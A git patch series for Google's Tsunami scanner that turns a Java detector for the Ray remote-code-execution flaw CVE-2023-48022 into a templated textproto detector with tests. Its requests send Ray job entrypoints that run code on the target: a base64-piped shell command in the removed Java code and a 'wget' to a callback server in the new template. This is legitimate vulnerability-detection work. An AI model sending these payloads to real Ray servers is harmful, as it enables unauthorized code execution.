From fbfd08185457d08f2ed52e697bab6d2067bc23d1 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 28 May 2026 09:56:25 -0400 Subject: [PATCH 1/2] converted ray cve-2023-48022 to templated --- .../detectors/rce/ai/cve202348022/README.md | 19 -- .../rce/ai/cve202348022/build.gradle | 39 ---- .../rce/ai/cve202348022/settings.gradle | 12 -- .../cve202348022/Cve202348022Detector.java | 175 ------------------ .../Cve202348022DetectorModule.java | 26 --- .../Cve202348022DetectorTest.java | 164 ---------------- .../cve/2023/Ray_CVE_2023_48022.textproto | 89 +++++++++ .../2023/Ray_CVE_2023_48022_test.textproto | 66 +++++++ 8 files changed, 155 insertions(+), 435 deletions(-) delete mode 100644 google/detectors/rce/ai/cve202348022/README.md delete mode 100644 google/detectors/rce/ai/cve202348022/build.gradle delete mode 100644 google/detectors/rce/ai/cve202348022/settings.gradle delete mode 100644 google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022Detector.java delete mode 100644 google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorModule.java delete mode 100644 google/detectors/rce/ai/cve202348022/src/test/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorTest.java create mode 100644 templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022.textproto create mode 100644 templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022_test.textproto diff --git a/google/detectors/rce/ai/cve202348022/README.md b/google/detectors/rce/ai/cve202348022/README.md deleted file mode 100644 index f416aaf50..000000000 --- a/google/detectors/rce/ai/cve202348022/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# ray CVE-2023-48022 Detector - -This plugin for Tsunami detects a remote code execution (RCE) vulnerability in -ray, which is an ML platform. - -More information on the vulnerability: - -* [CVE-2023-48022](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-48022) -* [POC](https://github.com/protectai/ai-exploits/blob/main/ray/nuclei-templates/ray-job-rce.yaml) - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/ai/cve202348022/build.gradle b/google/detectors/rce/ai/cve202348022/build.gradle deleted file mode 100644 index d9d44a160..000000000 --- a/google/detectors/rce/ai/cve202348022/build.gradle +++ /dev/null @@ -1,39 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami detector for CVE-2023-48022.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/google/detectors/rce/ai/cve202348022/settings.gradle b/google/detectors/rce/ai/cve202348022/settings.gradle deleted file mode 100644 index b80cf93f9..000000000 --- a/google/detectors/rce/ai/cve202348022/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'cve202348022' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022Detector.java b/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022Detector.java deleted file mode 100644 index c567b6226..000000000 --- a/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022Detector.java +++ /dev/null @@ -1,175 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.cve202348022; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.io.BaseEncoding; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; - -/** A VulnDetector plugin for CVE 202348022. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "CVE-2023-48022 Detector", - version = "0.1", - description = "This detector checks for occurrences of CVE-2023-48022 in ray installations.", - author = "Marius Steffens (mariussteffens@google.com)", - bootstrapModule = Cve202348022DetectorModule.class) -@ForWebService -public final class Cve202348022Detector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - - @Inject - Cve202348022Detector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - this.payloadGenerator = checkNotNull(payloadGenerator); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2023-48022")) - .setSeverity(Severity.CRITICAL) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-48022")) - .setTitle("CVE-2023-48022 Arbitrary Code Execution in Ray") - .setDescription( - "An attacker can use the job upload functionality to execute arbitrary code on" - + " the server hosting the ray application.") - .setRecommendation( - "There is no patch available as this is considered intended functionality." - + " Restrict access to ray to be local only, and do not expose it to the" - + " network.") - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - var payload = getTsunamiCallbackHttpPayload(); - - if (!payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atWarning().log( - "Tsunami callback server is not setup for this environment, cannot run CVE-2023-48022" - + " Detector."); - return false; - } - - var requestWithPayloadOldVersion = - getExploitRequest(networkService, payload, "api/job_agent/jobs/"); - var requestWithPayloadNewVersion = getExploitRequest(networkService, payload, "api/jobs/"); - - this.sendRequest(requestWithPayloadOldVersion, networkService); - this.sendRequest(requestWithPayloadNewVersion, networkService); - - return payload.checkIfExecuted(); - } - - private Payload getTsunamiCallbackHttpPayload() { - return this.payloadGenerator.generate( - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) - .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) - .build()); - } - - private HttpRequest getExploitRequest( - NetworkService networkService, Payload payload, String apiEndpoint) { - String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - String body = String.format("{\"entrypoint\": \"%s\"}", getShellCodeForDnsCallback(payload)); - return HttpRequest.post(rootUrl + apiEndpoint) - .setHeaders(HttpHeaders.builder().addHeader("content-type", "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(body)) - .build(); - } - - private String getShellCodeForDnsCallback(Payload payload) { - String pythonDnsCallbackCode = - String.format( - "python3 -c 'import socket;socket.gethostbyname(\"%s\")'", payload.getPayload()); - return String.format( - "echo %s|base64 -d|sh", - BaseEncoding.base64().encode(pythonDnsCallbackCode.getBytes(UTF_8))); - } - - private void sendRequest(HttpRequest request, NetworkService networkService) { - try { - this.httpClient.send(request, networkService); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorModule.java b/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorModule.java deleted file mode 100644 index 634f01488..000000000 --- a/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorModule.java +++ /dev/null @@ -1,26 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.cve202348022; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** An module registering the detector for CVE-2023-48022. */ -public final class Cve202348022DetectorModule extends PluginBootstrapModule { - @Override - protected void configurePlugin() { - registerPlugin(Cve202348022Detector.class); - } -} diff --git a/google/detectors/rce/ai/cve202348022/src/test/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorTest.java b/google/detectors/rce/ai/cve202348022/src/test/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorTest.java deleted file mode 100644 index 7179e6222..000000000 --- a/google/detectors/rce/ai/cve202348022/src/test/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorTest.java +++ /dev/null @@ -1,164 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.cve202348022; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for the {@link Cve202348022Detector}. */ -@RunWith(JUnit4.class) -public final class Cve202348022DetectorTest { - private final MockWebServer mockTargetService = new MockWebServer(); - private final MockWebServer mockCallbackServer = new MockWebServer(); - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - - @Inject private Cve202348022Detector detector; - - @Before - public void setUp() throws IOException { - mockTargetService.start(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(mockCallbackServer) - .setSecureRng(testSecureRandom) - .build(), - new Cve202348022DetectorModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockTargetService.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() - throws IOException { - mockTargetService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - NetworkService targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("POST") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()) - .comparingExpectedFieldsOnly() - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(targetNetworkService) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build()); - } - - @Test - public void detect_withCallbackServer_butNoCallback_returnsEmpty() throws IOException { - mockTargetService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - NetworkService targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("POST") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_withoutCallbackServer_returnsEmpty() throws IOException { - NetworkService targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("POST") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().build(), - new Cve202348022DetectorModule()) - .injectMembers(this); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } -} diff --git a/templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022.textproto b/templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022.textproto new file mode 100644 index 000000000..49769c37b --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022.textproto @@ -0,0 +1,89 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Ray_CVE_2023_48022" + author: + "Robert Dick (robert@doyensec.com) for templated version, " + "Marius Steffens (mariussteffens@google.com) for original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE_2023_48022" + } + severity: CRITICAL + title: "CVE-2023-48022 Arbitrary Code Execution in Ray" + description: + "An attacker can use the job upload functionality to execute arbitrary code on" + " the server hosting the ray application." + recommendation: + "There is no patch available as this is considered intended functionality." + " Restrict access to ray to be local only, and do not expose it to the" + " network." + related_id: { + publisher: "CVE", + value: "CVE-2023-48022" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "trigger_callback" + http_request: { + method: POST + uri: "/api/job_agent/jobs/" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: + '{"entrypoint": "wget -qO- {{ T_CBS_URI }}"}' + } +} + +actions: { + name: "trigger_callback_old" + http_request: { + method: POST + uri: "/api/jobs/" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: + '{"entrypoint": "wget -qO- {{ T_CBS_URI }}"}' + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "trigger_callback", + "trigger_callback_old", + "sleep", + "check_callback_server_logs" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022_test.textproto b/templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022_test.textproto new file mode 100644 index 000000000..1f589fbba --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022_test.textproto @@ -0,0 +1,66 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Ray_CVE_2023_48022" +} + +tests: { + name: "whenOobVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: + '... anything ...' + } + ] + } +} + + +tests: { + name: "whenOobNotVulnerable_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: + '... anything ...' + } + ] + } +} + +tests: { + name: "whenRandomServer_returnsFalse" + expect_vulnerability: false + + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +} + From 8dbf4bfa406849571cf52d6b3e7e231b83b7b0f0 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 5 Jun 2026 07:43:06 -0400 Subject: [PATCH 2/2] fixed link --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a6b7659da..f4479a26c 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ Read how to [contribute to Tsunami](docs/contributing.md). ### Detectors #### AI Relevant OSS * [Pytorch Serve Expose API Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/exposedui/pytorch_serve) -* [Ray CVE-2023-48022 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/ai/cve202348022) +* [Ray CVE-2023-48022 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/cve/2023/Ray_CVE_2023_48022.textproto) * [Ray CVE-2023-6019 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/ai/cve20236019) * [H2O CVE-2023-6018 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/ai/cve20236018) * [MLflow CVE-2023-6977 & CVE-2023-1177 & CVE-2023-2780 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/mlflow_cve_2023_6977)